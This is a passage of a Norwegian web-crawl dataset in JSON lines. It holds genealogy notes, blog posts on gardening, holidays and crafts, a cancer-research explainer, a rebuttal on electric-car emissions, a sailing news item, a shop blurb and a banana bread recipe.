N\u00f8isomhet ca. 1874, etter at mannen hennes Lensmann Schive d\u00f8de i 1874. De bodde i Selbu p\u00e5 g\u00e5rden Sj\u00f8vold, bodde i Selbu fra ca. 1850 til 1874, ca. 24 \u00e5r.\n\nDet er interessant \u00e5 legge merke til at **Kirsten Frederike f. Nilson** 'antageligvis eier av boligen/g\u00e5rden N\u00f8isomhet**, st\u00e5r registrert med at hun** Lever av Legatpenge **\\! Antar at det er fondet som i 1917 sies \u00e5 v\u00e6re bestyrt av Christiania Magistrat og som heter;** Generalinde Caja Nilson f. Ankers legat**. Kirsten ble tatt opp som datter i huset hos sin onkel Generalmajor Peter Vogt Nilson og hans hustru Caja f. Anker, og alts\u00e5 derav fortrinnsberettiget til \u00e5 motta penger i fra dette fondet. (se i boken \"Familen Schive, Olaus Schmidt, 1917) Hun ble tatt opp i huset og adoptert av sin onkel fordi hennes foreldre d\u00f8de allerede da hun var ca. 10 \u00e5r gammel.**\n\nDet er 8 personer bosatt i huset til Kirsten Frederike. Foruten Adelgunde og henne selv s\u00e5 er det : Anna Cathrine Pettersdatter, tjenestepike, f.1857 p\u00e5 Alstahaug. Elisabeth Cathrine Hedenberg Aas, Guvernante, leieboer, f.1848 p\u00e5 \u00c5len Sogn i Haalt\u00e5len. Bertram Martinius Petersen, tilreisende, Handelsfullmektig, f. 1847 i Trondheim. Hedevig Sofie Petersen f. Schive, kone (og s\u00f8ster), f. 1851 i Selbu. Olaf Schive, tilreisende, i Urmakerl\u00e6re (bror), f. 1856 i Selbu. Samt Marie Eriksdatter Branderud, tilreisende, hospitalslem (en eldre/pleietrengende som de tar seg av og fors\u00f8rger antar jeg at det betyr), f. 1818 i Fron i Gudbrandsdalen.\n\n(Folketellingen 1875 for Skogn, Nord-Tr\u00f8ndelag. http://www.digitalarkivet.no/cgi-win/webcens.exe?slag=visbase\\&sidenr=3\\&filnamn=f71719\\&gardpostnr=109\\&personpostnr=730\\&merk=730\\#ovre)\n\nKan videre nevne at g\u00e5rden N\u00f8isomhet ble solgt i 1887 til Lensmann Conrad William Krog for 6700 kr. (http://www.disnorge.no/slektsforum/viewtopic.php?p=252826\\&sid=f03420a69d49dc64205574aa66449572)\n\n", "language": "no", "__index_level_0__": "7a082343-7815-4294-ab28-1adf0c8a4991"}
{"url": "http://www.1001sang.no/index.php?main_page=product_info&cPath=111_114&products_id=269", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:43:49Z", "text": "# Julebordsang til vennefest\n\n**Festlig, sleivete sang p\u00e5 4 vers.**  \n  \nPasser ogs\u00e5 til firmafester.  \n  \n#### H\u00f8r melodien:\n\nJeg gikk meg over sj\u00f8 og land\n\n## kr\u00a055,-\n\n**Utdrag av sangen:  \n  \nmel.: Jeg gikk meg over sj\u00f8 og land  \n  \nVelkommen til v\u00e5rt julebord, v\u00e5rt julebord, v\u00e5rt julebord.  \nGlem dem som dreit seg ut i fjor \u2013  \nsom mye rart rundt bordet gjord'.  \nDe h\u00f8rer hjemme i R\u00f8reland, i T\u00f8yseland, i Tulleland,  \n", "language": "no", "__index_level_0__": "c20e55ce-63c0-40c3-9ebf-03ebcc026019"}
{"url": "http://hageflekken.blogspot.com/2010/05/kologisk-hageglede-en-liten-refleksjon.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:46:56Z", "text": "om \u00f8kologisk hageglede\n\n## onsdag 5. mai 2010\n\n### \u00d8kologisk hageglede - en liten refleksjon\n\nDa Gud skapte menneskene, satte Hun dem ikke p\u00e5 et svaberg eller i en skog eller p\u00e5 et fjell eller i en jungel. Hun plasserte dem i en hage. Et stykke kultivert natur.  \n  \nEdens hage er et urgammelt symbol p\u00e5 overflod, harmoni, lykke og fullkommenhet - og dr\u00f8mmen om denne hagen ligger dypt i oss alle.  \n  \nI dag bygges det hoteller i \u00f8rkenen med hager og parkanlegg som symbol p\u00e5 den ultimate luksus. Nylig reklamerte et rederi med \"egen tropisk hage\" p\u00e5 sitt siste cruiseskip. Det ser ut til at vi knapt kan forestille oss et perfekt liv uten at en hage er med i bildet.  \n  \nAllikevel opplever mange mennesker hagen sin som enda et krav, en frustrasjon, noe som krever tid (som man ikke har), noe man alltid er p\u00e5 etterskudd med, noe man hele tiden har d\u00e5rlig samvittighet for.\u00a0 Noen avbryter ferien for \u00e5 reise hjem og klippe plenen - ikke for plenens skyld (den har bare godt av \u00e5 f\u00e5 vokse seg lang) - men av hensyn til naboene\\!  \n  \nDa er ikke lenger hagen en gave, et paradis. Da har vi gjort (ogs\u00e5) den til et utstillingsvindu, en del av v\u00e5rt \"image\", en del av den overflaten vi \u00f8nsker \u00e5 vise frem til omverdenen. Veltrimmet, uklanderlig - og d\u00f8dsens kjedelig\\!  \n  \n\u00d8kologisk hageglede handler ikke om velstelte bed og golfplen. Det handler om gleden ved \u00e5 f\u00f8lge med p\u00e5 livsprosesser, oppdage nye sammenhenger, v\u00e6re med i en skapende prosess, gj\u00f8re feil, l\u00e6re av feilene, fors\u00f8ke omigjen, og h\u00f8ste resultatene.  \n  \n\u00d8kologisk hageglede handler om gleden og stoltheten ved \u00e5 dyrke frem planter som gir duft og smak og vitaminer og mineraler og te og salat og medisin. Det handler om undring over plantenes historie og betydning for mange generasjoner f\u00f8r oss. Om respekt for samspillet, balansen og dynamikken i naturen, og om interesse for de fantastiske prosessene som skjer i den jorda vi dyrker planter i.  \n  \nOg s\u00e5 handler det om \u00e5 kunne reise bort og overlate hagen til seg selv, i trygg forvissning om at hagen klarer seg og naboen overlever.......\n\n23:39              \n\n \n    \n  \n\n    \n\n## Litt om meg selv:\n\nBor p\u00e5 L\u00f8renskog med stor hage stappfull av prosjekter i alle stadier. Tok gartnerutdannelse i godt voksen alder, og driver et lite r\u00e5dgivningsfirma (Hageflekken) innen hagebruk. Er mer opptatt av hageglede og hageundring enn av golfplen og perfekte bedkanter....... :-)  \n\n    \n\n", "language": "no", "__index_level_0__": "07bf2c0d-af9a-4532-bba7-1fcb7e7044e5"}
{"url": "http://turbolotte.blogspot.com/2011/07/borte-bra-men-hjemme-best.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:18:05Z", "text": "## torsdag 28. juli 2011\n\n### Borte bra men hjemme best?\n\n\n\n  \n\u00c5\u00e5h da var vi hjemme fra barnevennlig danmarkstur. En glede for store og sm\u00e5, s\u00e5nn Legoland og slikt. Veeel. En pr\u00f8velse for de fleste ekteskap vil jeg da kalle det. Hehe.  \n  \nVel. Ser ut som vi forblir gift en stund til.  \n  \n  \nHjemme ventet sol og varme. Ikke d\u00e5rlig det.  \nNoen har stj\u00e5let s\u00f8ppelkassa v\u00e5r. Hagen ser pyton ut kun etter f\u00e5 dager uten streng dressur.  \nKattene er matet og burde v\u00e6re her \u00e5 ta imot oss med \u00e5pne labber. Men neeeida.  \nKanskje de er dradd til forverten i stedet?  \n  \n  \n  Lagt inn av Charlotte Myhre   kl. 17:35                 \n\n Etiketter: cats, dilldall, Hage \n#### 2 kommentarer:\n\n\n\n\n\nVelkommen hjem og vel overst\u00e5tt. Godt at ekteskapet holdt denne runden ogs\u00e5 ;) Lykke til med hagen. Jeg har hatt en skikkelig sjau selv og det er bare deilig n\u00e5r alt ser bra ut igjen - bortsett fra r\u00e5tne liljer, brune pioner, nedregnede roser osv. osv.... Hage krever t\u00e5lmodighet og t\u00e5lmodighet og en d\u00e6sj med optimisme. H\u00e5per s\u00f8ppelkassa og katta dukker opp snart. Hanne\n\n 28. juli 2011 kl. 23:51    \n\n\n\n\n\nMyrte \u2665 sa...\n\nHjemme er best, uansett =)Og hagen din blir vel fjonget opp igjen rimelig raskt med dine gr\u00f8nne fingre\\!  \n  \nJeg dr\u00f8mmer meg bort i hagebildene dine - jeg vet hvilken blogg jeg skal inspireres av den dagen vi kj\u00f8per hus p\u00e5 bakkeplan med en hageflekk\\! Selv om jeg er utdannet blomsterdekorat\u00f8r med mange \u00e5rs erfaring, er det \"inneblomster\" og snitt som er mitt felt - uteplanting er et utrolig stort omr\u00e5de =)  \n  \n\u00d8nsker deg en koselig helg =)\n\n 29. juli 2011 kl. 20:55    \n\nTusen takk Anne fra Moseplassen\n\n", "language": "no", "__index_level_0__": "83123cfa-1f17-44c5-97d2-2fc0531372d7"}
{"url": "http://kreftforeningens-blogg.no/2015/11/trobbel-i-nabolaget/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:25:01Z", "text": "## Tr\u00f8bbel i nabolaget\n\nDei siste \u00e5ra har forsking vist at kreftceller utviklar seg i eit samspel med dei friske nabocellene sine. Her er nokre eksempel p\u00e5 korleis kreftceller utnyttar cellene i nabolaget for \u00e5 vekse fortare.\n\n 18. november 2015   \u00c5smund H. Eikenes, r\u00e5dgiver forskning   \n\n\n\n#### Mikromilj\u00f8.\n\nEin kreftsvulst er ikkje berre ein klump av farlege kreftceller (kulerunde celler), men inneheld ogs\u00e5 andre celletypar, slik som blod\u00e5rer (raude), immunceller (bl\u00e5, turkis og lilla) og celler fr\u00e5 bindevevet (gr\u00f8ne). Illustrasjonen er modifisert fr\u00e5: Junttila, MR, Nature 2013, \n\nDet er ikkje berre er mutasjonar i kreftcellene som er \u00e5rsak til kreftutvikling. Samspelet mellom kreftceller og naboane deira er ogs\u00e5 ein viktig faktor. \u00c5 stoppe kreftceller fr\u00e5 \u00e5 kommunisere med friske naboceller krev andre typar behandling enn n\u00e5r ei enkelt kreftcelle skrur p\u00e5 gassen og delar seg i superfart.\n\nForskarane nyttar omgrepa \u00abmikromilj\u00f8\u00bb eller \u00abnisje\u00bb for \u00e5 beskrive at kreftceller utnyttar samspelet med naboane sine for \u00e5 vekse, spreie seg og lure seg unna immunforsvaret i utvikling av ein kreftsvulst. Her er fire eksempel:\n\n**Samspel med ulike naboar**\n\n1.  Nokre kreftceller kan p\u00e5verke naboane sine til \u00e5 auke mengdene vekstsignal dei sender ut. I staden for \u00e5 skru p\u00e5 sin eigen gasspedal, ber kreftcellene naboen om \u00e5 gjere det i staden. Resultatet er at dei friske nabocellene hjelp kreftcellene til \u00e5 vekse fortare.\n\n2.  Kreftceller kan ogs\u00e5 p\u00e5verke blod\u00e5rene i n\u00e6romr\u00e5det, og auke produksjonen av nye, sm\u00e5 blod\u00e5rer som forsyner svulsten med n\u00e6ring. I konkurransen om energi og signalstoff i blodet vil kreftcellene\u00a0auke forsyninga til seg sj\u00f8lv.\n\n3.  Med auka tal blod\u00e5rer i n\u00e6romr\u00e5det kjem det ogs\u00e5 immunceller symjande i blodet. Immuncellene har mange strategiar for \u00e5 oppdage at kreftceller veks utan kontroll, og vil ofte drepe celler som ikkje oppf\u00f8rer seg som dei skal. Kreftcellene er derimot ikkje heilt forsvarslause, og nyttar ulike teknikkar for \u00e5 dempe, utsette og minimere immunresponsen i n\u00e6romr\u00e5det.\n\n4.  Ogs\u00e5 n\u00e5r kreftcellene spreier seg i kroppen p\u00e5verkar dei andre celletypar til sin eigen fordel. Til d\u00f8mes kan nokre brystkreftceller sende ut eit signal til skjelettet om \u00e5 lage plass til kreftcellene. Resultatet er sm\u00e5 hol i skjelettet, og eit slikt por\u00f8st skjelett vert ein bra plass \u00e5 busette seg for kreftceller p\u00e5 vandring.\n\n**Tilpassa behandling**\n\nFor desse fire eksempla finst det ulike typar legemiddel som kan stoppe kreftcellene fr\u00e5 \u00e5 utnytte samspelet med naboane sine. Utfordringa er \u00e5 vite kva for pasient som treng kva for behandling til rett tid. Treng pasienten medikament mot vekstsignal, behandling som hindrar framvekst av blod\u00e5rer, legemiddel som hjelp immunforsvaret eller stoff som hindrar at kreftcellene spreier seg?\n\nNy kunnskap om korleis ein kreftsvulst utviklar seg gir ogs\u00e5 kunnskap om kva behandling som vil fungere best for kvar pasient. Det totale biletet av kreftutvikling vert meir komplekst, men detaljane er viktige for \u00e5 tilpasse og m\u00e5lrette behandlinga for kvar enkelt. Slik bygger vi stein p\u00e5 stein i kreftforskinga.\n\n  - blod\u00e5rer\n  - forskning\n  - immunceller\n  - kreftceller\n  - mikromilj\u00f8\n  - persontilpassing\n\n 18. november 2015   \u00c5smund H. Eikenes, r\u00e5dgiver forskning   \n\n\n\n", "language": "no", "__index_level_0__": "89dbf7a4-b4f7-43a8-a94e-2f5f77bfa4e8"}
{"url": "https://elbil.no/derfor-betyr-elbilen-halvert-co2-utslipp/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00510.warc.gz", "warc_date": "2018-03-24T23:40:26Z", "text": " 21. mai 2015 Skrevet av:  elbil.no  \n\nSelv n\u00e5r elbilen lades med europeisk kraftmiks, er den en suveren CO2-vinner.\u00a0Med ren fornybar kraft er utslippene minimale.\n\n**TILSVAR:**\u00a0I sitt leserbrev i Avisa Nordland l\u00f8rdag 9. mai presenterer Dagfinn Danielsen regnestykker og tall uten rot i virkeligheten, og topper det hele med \u00e5 foresl\u00e5 en vanvittig kilometeravgift for elbiler. Sistnevnte forbig\u00e5r jeg i stillhet.\n\nS\u00e5 til den h\u00e5rreisende p\u00e5standen om at elbiler forurenser 30-60 prosent mer enn bensin- og dieselbiler (som jeg motbeviser grundig helt til slutt i dette tilsvaret): En elbil bruker, om jeg tar i litt, cirka to kWh for \u00e5 flytte seg \u00e9n mil. Det tilsvarer cirka 0,2 liter fossilt brensel og et CO2-utslipp p\u00e5 rundt 50 g/km. Selv ikke fossile sm\u00e5biler klarer seg med s\u00e5 lite drivstoff.\n\n**Den \u00f8kte forurensningen ved kj\u00f8ring kommer if\u00f8lge Danielsen i tillegg til produksjonsutslipp. Men elbilprodusentene, blant dem Volkswagen, Mercedes-Benz\u00a0og Kia, har skaffet til veie livsl\u00f8psanalyser (LCA), fra den beste ekspertisen, som entydig g\u00e5r i elbilens fav\u00f8r ved direkte sammenligning med fossile alternativ.**\n\nAnalysene viser at elbilen har minst 20 prosent mindre CO2-avtrykk fra vugge til grav (hvis elbilen g\u00e5r p\u00e5 str\u00f8m fra kullkraftverk gjennom hele bruksfasen). Ved bruk av fornybar kraft er elbilen beregnet \u00e5 v\u00e6re minst 60 prosent bedre.\n\n### Den virkelige marginalkraften er fornybar\n\nDanielsen overser at norsk str\u00f8mproduksjon er tiln\u00e6rmet utslippsfri. Han burde dessuten ta med i betraktningen at utslippene fra europeisk kraftproduksjon er regulert, mens det samme ikke gjelder for fossilproduksjon. I klartekst: \u00d8kt bruk av bensin eller diesel medf\u00f8rer \u00f8kte utslipp. Ved \u00e5 elektrifisere veitrafikken, skjer det motsatte.\u00a0\n\nEt p\u00e5fallende trekk i elbildebatten er at marginalkraft av motstandere vurderes som eneste aktuelle energikilde. Men faktum er at den verste kullkraften ogs\u00e5 kan brukes til lading uten at det medf\u00f8rer \u00f8kte utslipp. Varmekraftverk i Europa kan ikke bare sl\u00e5s av om natta, n\u00e5r str\u00f8mforbruket ellers er lavt. Derfor er det bedre at denne kraften brukes, siden alternativet er at den g\u00e5r til spille.\n\n**Ny kraft som bygges ut i Europa er fornybar, og den hentes fra sol og vind. Den er dermed ogs\u00e5 mest relevant \u00e5 regne som marginal.**\n\nVed \u00e5 insistere p\u00e5 kullkraft som marginalkraft, m\u00e5 man ogs\u00e5 legge til grunn at fossilt drivstoff fra oljesand er kullkraftens n\u00e6rmeste nabo. Denne utvinningen f\u00f8rer som kjent til langt h\u00f8yere CO2-utslipp enn annen oljeproduksjon.\n\n### De ulike kraftkvalitetene\n\nNorges vassdrags- og energidirektorats (NVE) varedeklarasjon for str\u00f8m i 2013 viste for\u00f8vrig at CO2-utslippene med ulik kraftmiks fordeler seg slik:\n\n  - **Kullkraft:** 920 gram CO2/kWh\u00a0\n  - **Verdens kraftmiks:** 532 gram CO2/kWh\u00a0\n  - **Europeisk kraftmiks:** 345 gram CO2/kWh\u00a0\n  - **Nordisk kraftmiks:** 175 gram CO2/kWh\u00a0\n  - **Norsk kraftmiks:** 11 gram CO2/kWh\n\nSiden det virker \u00e5penbart at Tesla faller elbilmotstandere tyngst for brystet, er det naturlig \u00e5 peke p\u00e5 hvilke CO2-utslipp den faktisk medf\u00f8rer (i dette eksempelet Model S 85). Med absolutt \u00abworst case\u00bb, nemlig kullkraft, ender den p\u00e5 138 g/km under kj\u00f8ring (Nissan LEAF havner til sammenligning p\u00e5 98).\n\nOm vi s\u00e5 regner oss videre gjennom de ulike kraftkvalitetene \u2013 og fram til den norske \u2013 viser det seg at Model S er helt nede p\u00e5 1,64 g/km. LEAF havner p\u00e5 enda magrere 1,17. \u00a0\n\n### Halvert utslipp med EU-kraftmiks\n\nIf\u00f8lge statistikk fra Opplysningsr\u00e5det for veitrafikken (OFV) hadde nye bensin- og dieselbiler i fjor gjennomsnittlige utslipp p\u00e5 henholdsvis 119 og 133 g/km (CO2). Om vi s\u00e5 legger til livsl\u00f8psutslippet for begge, basert p\u00e5 oppgitte tall fra Statoil for drivstoffproduksjon, \u00f8ker tallene til 135 og 156.\n\nI denne oppstillingen har jeg i tillegg utelatt det faktum at fossilbiler i gjennomsnitt bruker 30 prosent mer drivstoff enn fabrikkoppgitte tall (etter NEDC-testsyklusen).\u00a0\n\n**Dersom vi legger NEDC-tall til grunn for Model S 85 kj\u00f8rt p\u00e5 europeisk kraftmiks, med overf\u00f8ringstap p\u00e5 \u00e5tte prosent og ladetap p\u00e5 15 prosent, vil CO2-utslippet bli 66 g/km. Om vi s\u00e5 legger til realistisk merforbruk, vil Teslaen fortsatt bare medf\u00f8re halvparten av CO2-utslippene fra den gjennomsnittlige fossilbilen.\u00a0**\n\nDanielsens prosentregning er, med andre ord, grundig tilbakevist.\n\n*Dette tilsvaret sto p\u00e5 trykk i Avisa Nordland l\u00f8rdag 16. mai. Det ble dessuten publisert p\u00e5 an.no mandag 18. mai.*\n\nP\u00e5 Norsk elbilforening sine nettsider blir det benyttet cookies/infokapsler. En informasjonskapsel - s\u00e5kalt cookie - er en liten tekstfil som lastes ned og lagres p\u00e5 brukerens datamaskin n\u00e5r nettsiden \u00e5pnes. Informasjonskapselen brukes for eksempel til \u00e5 lagre innloggingsdetaljer, huske innhold i handle-vognen eller registrere hvor brukeren beveger seg p\u00e5 sidene. Det gj\u00f8r at vi bedre kan tilpasse sidene for hver enkelt bruker.\n", "language": "no", "__index_level_0__": "fe8ebcbd-6f5b-420c-9fcf-26d94f7162a7"}
{"url": "http://trillebag.com/?cat=100", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:12:11Z", "text": "# Kategoriarkiv: Tenerife 2006\n\n\n\nTenerife 2006\n\n# Femretters middag til 80 kroner\n\n19\\. mars 2006 Marielle Legg igjen en kommentar\n\nS\u00f8ndags morgen og flyet til Tenerife gikk s\u00e5 alt for tidlig. V\u00e5r f\u00f8rste ferie sammen kunne ikke begynne med gretne blikk og sinte \u00f8yne, s\u00e5 vi fant raskt ut at det mest logiske var \u00e5 sove stort sett hele flyreisen.\n\nVi ankom hotellet,\u00a0Barcelo Varadero,\u00a0som virket \u00e5 v\u00e6re av bra standard. Etter \u00e5 ha konstatert at det ikke fantes kakerlakker p\u00e5 rommet, forlot vi hotellomr\u00e5det og utforsket n\u00e6romr\u00e5det. Los Gigantes ikke den typiske partyplassen, men snarere et sted for par og rolige kvelder med vin p\u00e5 balkongen. \u00abPerfekt for en romantisk ferie\u00bb som Star Tour beskrev stedet som. Mens vi ruslet bortover promenaden ble Marielle mektig imponert over de enorme b\u00f8lgene (les: d\u00f8nninger).\n\nEtter \u00e5 ha sett p\u00e5 d\u00f8nningene litt for lenge, ruslet vi tilbake og fant restauranten Sala Thai, hvor vi fikk en femretters middag til 80 kroner. Resten av kvelden satt vi p\u00e5 balkongen v\u00e5r, delte ei flaske vin og h\u00f8rte p\u00e5 musikk fra Vidar sin telefon.\n\n# Reisene\n", "language": "no", "__index_level_0__": "f21a14d2-1cc8-440c-8751-5118b91f0e18"}
{"url": "https://www.seilmagasinet.no/innhold/?article_id=48477", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:47:02Z", "text": "\n\n\n\nTallent: Martin M\u00f8ller Hovda viser sine ferdigheter i Frankrike. **Foto:** J.Lacave\n\n\n\n# Martin M\u00f8ller Hovda gj\u00f8r det sterkt\n\nTo unge norske brettseilere m\u00e5ler krefter mot verdens beste akkurat n\u00e5.\n\n\n\n**Axel Nissen-Lie**  \nfirstname.lastname@example.org\n\nPublisert: 21. april 2017 | Sist oppdatert: 22. april 2017\n\nHovda fra Karm\u00f8y er en av Norges mest talentfulle seilere. Akkurat n\u00e5 deltar han sammen med Helle Oppedal i IFCA Youth og Master Slalom World Championships i Frankrike.\n\nInteressen for slalom er voksende i verden. Regattaformen byr p\u00e5 h\u00f8y fart og tettet taktikk. Det seiles sl\u00f8r p\u00e5 en bane med jibb rundt rundingsb\u00f8yer. Farten ligger p\u00e5 over 30 knop. Verdensmesterskapet forg\u00e5r n\u00e5 i Hyere. Det har s\u00e5 langt bl\u00e5st friskt. Til tider har vinden v\u00e6rt p\u00e5 over 30 knop.\u00a0\n\n## \u00d8kende interesse\n\nDefi Wind, regattaen som arrangeres hvert \u00e5r i Kristi Himmelfarts helgen samler over 1200 brettseilere p\u00e5 samme startlinje. Arrangementet har skapt en enorm intesse for dispiplinen, s\u00e6rlig i Frankrike.\u00a0\n\nDer ligger nordmannen p\u00e5 5.plass etter fire elimineringsrunder. Franskmennene har sterke og har fem seilere blant de ti beste. Det skal seiles to nye elimineringsrunder. Hver elimineringsrunde best\u00e5r av hit hvor kun de beste g\u00e5r videre.\n\nHelle Oppedal ligger p\u00e5 en 19. plass etter 3 runder.\n\nDu finner mer om verdensmesterskapet her.\u00a0\n\n\n\nSLALOM: Helle Oppedal satser ogs\u00e5 p\u00e5 slalom.\n\nJ.Lacave\n\nHar du en mening om denne saken \u2013 del den med oss\\! Vi ber om saklighet, respekt for andres meninger og at man holder seg til emnet. Les v\u00e5re\u00a0retningslinjer\u00a0her.\u00a0\u00a0Vi modererer diskusjonen om n\u00f8dvendig.\u00a0Vennlig hilsen redakt\u00f8r Morten Jensen.\n\n", "language": "no", "__index_level_0__": "da91737a-43ac-4442-8bb4-85d252029957"}
{"url": "https://www.vg.no/rabattkode/sportyliving", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:30:58Z", "text": "### Om SportyLiving.no\n\nSportyliving er en familiebedrift som holder til p\u00e5 Nord-vestlandet, n\u00e6rmere bestemt Ulsteinvik. Sportyliving \u00f8nsker \u00e5 tilrettelegge for en sporty hverdag og tilby utstyret slik at du f\u00e5r en best mulig treningsopplevelse. Hos Sportyliving finner du kvalitetsmerker\u00a0fra inn - og utland som Devold, Flavon, Gore, Solfire og flere. Sportyliving har sportskl\u00e6r til b\u00e5de dame og herre, samt tilbeh\u00f8r som sokker, hodeplagg og hansker til b\u00e5de han og henne.\u00a0\n\nMed en rabattkupong hos Sportyliving kan du spare opptil 20% rabatt p\u00e5 hele din bestillng.\n\n", "language": "no", "__index_level_0__": "6209f7f5-f88e-491d-9d36-5b568e9fcf0a"}
{"url": "http://backe.no/prosjekter/fet-datasenter", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:45:45Z", "text": "### Fet datasenter er et prisvinnende h\u00f8ysikkerhetsbygg for datalagring.\u00a0\n\nBygget er oppf\u00f8rt i betongelementer, fundamentert p\u00e5 plasst\u00f8pt betong.\u00a0 Det er dimensjonert for sv\u00e6rt h\u00f8ye laster over tre etasjer.\u00a0 Teknisk underentreprise er avansert og sv\u00e6rt omfattende.\u00a0 Som totalentrepren\u00f8r har Backe Oppland hatt ansvaret for og koordinert samtlige leveranser \u2013 og har gjennomf\u00f8rt dette i arbeidsfellesskap med\u00a0 s\u00f8sterbedriften Backe Romerike.\n\n\u00a0\n", "language": "no", "__index_level_0__": "270b17d2-4342-4039-98b1-8332c8f504c3"}
{"url": "http://littkritikk.blogspot.com/2013/07/prosjektet-som-tok-tid.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:47:27Z", "text": "## mandag 8. juli 2013\n\n### Prosjektet som tok tid\n\n\n\n  \nHm...  \nN\u00e5 har jeg holdt p\u00e5 en stund med dette prosjektet mitt.  \nOg jeg lover og lyver, tydeligvis.  \nPlanen er \u00e5 lage en side hvor jeg kan legge ut ting jeg lager, for salg.  \nDet jeg har mest av for \u00f8yeblikket er jo disse n\u00f8kkelringen.  \n  \nMen frustrasjonen min er stor, fordi dette er visst s\u00e5 vanskelig.  \nFordi\\!\\!  \nKameraet mitt bare sluttet \u00e5 virke.  \nOg jeg m\u00e5 jo kunne ta gode bilder.  \nS\u00e5 jeg ventet til jeg fikk den nye mobilen, men hva kan en vente av et mobilkamera?  \nJeg trodde ihvertfall at det skulle v\u00e6re bra.  \n  \nMen det blir en god del klipp og lim , farge,- og klarhetsjustering.  \nOg ikke minst s\u00e5 m\u00e5 jeg finne en god plass \u00e5 ta bilde, av hver lille ting. For de er s\u00e5 forskjellige og krever tydeligvis forskjellig lys.  \nJeg er ingen ekspert p\u00e5 foto, og jeg f\u00f8ler jeg kommer til kort.  \nFor jeg vil jo pr\u00f8ve \u00e5 vise hvordan disse tingene ser ut i virkeligheten, men p\u00e5 bildene jeg har tatt,blir det helt feil.  \nMen s\u00e5nn er det jo med bilder, det er ikke som virkeligheten, men for meg n\u00e5 s\u00e5 er det ganske frustrerende.  \nPlutselig blir det fokusert p\u00e5 en prikk, en flekk, et hakk, en fargenyansforskjell.... Alt mulig som man ikke ser om man da ikke ser p\u00e5 bilde.  \nIhvertfall de jeg har tatt.  \n  \nJeg kan vise noen eksempler.  \n  \nP\u00e5 bilde under blir den lille rosa seende ut mye st\u00f8rre enn den gr\u00f8nne. De er like store.  \nOg begge har rare flekker.  \n\n\n\n\u00a0P\u00e5 bilde under pr\u00f8vde jeg med blits, da s\u00e5 de bare fettete ut, og mistet \"trekk\".  \n\n\n\n\u00a0.... For ikke \u00e5 snakke om hvor ENORME de blir seende ut i h\u00e5nden min, haha, de er egentlig mye mindre enn de ser ut til her.  \n\n\n\n\u00a0S\u00e5 under pr\u00f8ver jeg i naturlig lys, p\u00e5 et annet underlag.  \nFeil lys, men de ser ihvertfall ikke s\u00e5 store ut lenger.  \nOg det var ikke s\u00e6rlig bra \u00e5 ta bilde av mange samlet,  \n\n\n\n  \nIkke lett \u00e5 si hva som er galt, men ihvertfall s\u00e5 ble disse stakkars s\u00f8te, duse rosa/gr\u00f8nne bare helt vasstrukne i fargen.  \n\n\n\n\u00a0Og disse demontypene ble bare klisne og helt feil.  \n\n\n\n\u00a0Stakkars den lille s\u00f8te lilla p\u00e5 steinen i det flotte sollyset, ikke lett \u00e5 se noen detaljer p\u00e5 denne lille karen.  \nFor mye lys.  \n\n\n\n\u00a0Disse to magnetene ble bare for blanke.  \n\n\n\n  \nSkulle gjerne hatt mitt fantastiske kamera til \u00e5 virke, det var s\u00e5 greit \u00e5 ta bilde av disse krapylene med det, men det har avg\u00e5tt med kamera d\u00f8den, dessverre.  \n  \n  \nJeg f\u00e5r finne p\u00e5 noe lurt.  \n  \nDette var bare en liten oppdatering p\u00e5 hva som skjer....... Uff,  \nDet er dette jeg pusler med om dagene.\n\n     \n\n|             |  |\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\nDet er veldig kjekt med kommentarer, men legger du inn en melding som er virkelig stygg, s\u00e5 vil den bli slettet.\n\n", "language": "no", "__index_level_0__": "4188cf7f-0317-45d6-938f-f5d369c4f4c2"}
{"url": "https://margitvea.no/oppskrifter/bananbrod/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:21:08Z", "text": "# Bananbr\u00f8d\n\n  - 1\n\nEt smakfult br\u00f8d som smaker nydelig med sm\u00f8r og honning p\u00e5. Gulost og brunost kan ogs\u00e5 brukes som p\u00e5legg. Deilig i matpakka\\!\n\nSteketid: 40\u201350 minutter\n\nSteketemperatur: 180 \u00b0\n\n**2 egg**  \n**\u00bd dl r\u00f8rsukker**  \n3 **ss kaldpresset oliven\u2013 eller kokosolje**  \n**3 modne moste bananer**  \n**1 dl mandelmel**  \n**2 dl fin sammalt hvete eller spelt**  \n**2 dl siktet hvete eller spelt**  \n**1 ts ceylonkanel**  \n**1 ts natron**\n\n### Slik gj\u00f8r du:\n\n1.  Knekk et egg om gangen og ha det og sukker i en bolle.\n2.  Pisk egg og sukker til eggedosis.\n3.  Mos bananene og ha dem i eggedosisen sammen med olje.\n4.  Bland sammen mandelmel, mel, kanel og natron og r\u00f8r det inn.\n5.  Hell r\u00f8ren i en smurt avlang form p\u00e5 1 l, og stek nederst i ovnen.\n6.  Br\u00f8det er ferdig n\u00e5r det begynner \u00e5 sprekke i midten.\n7.  Ikke stek br\u00f8det for lenge, da blir det 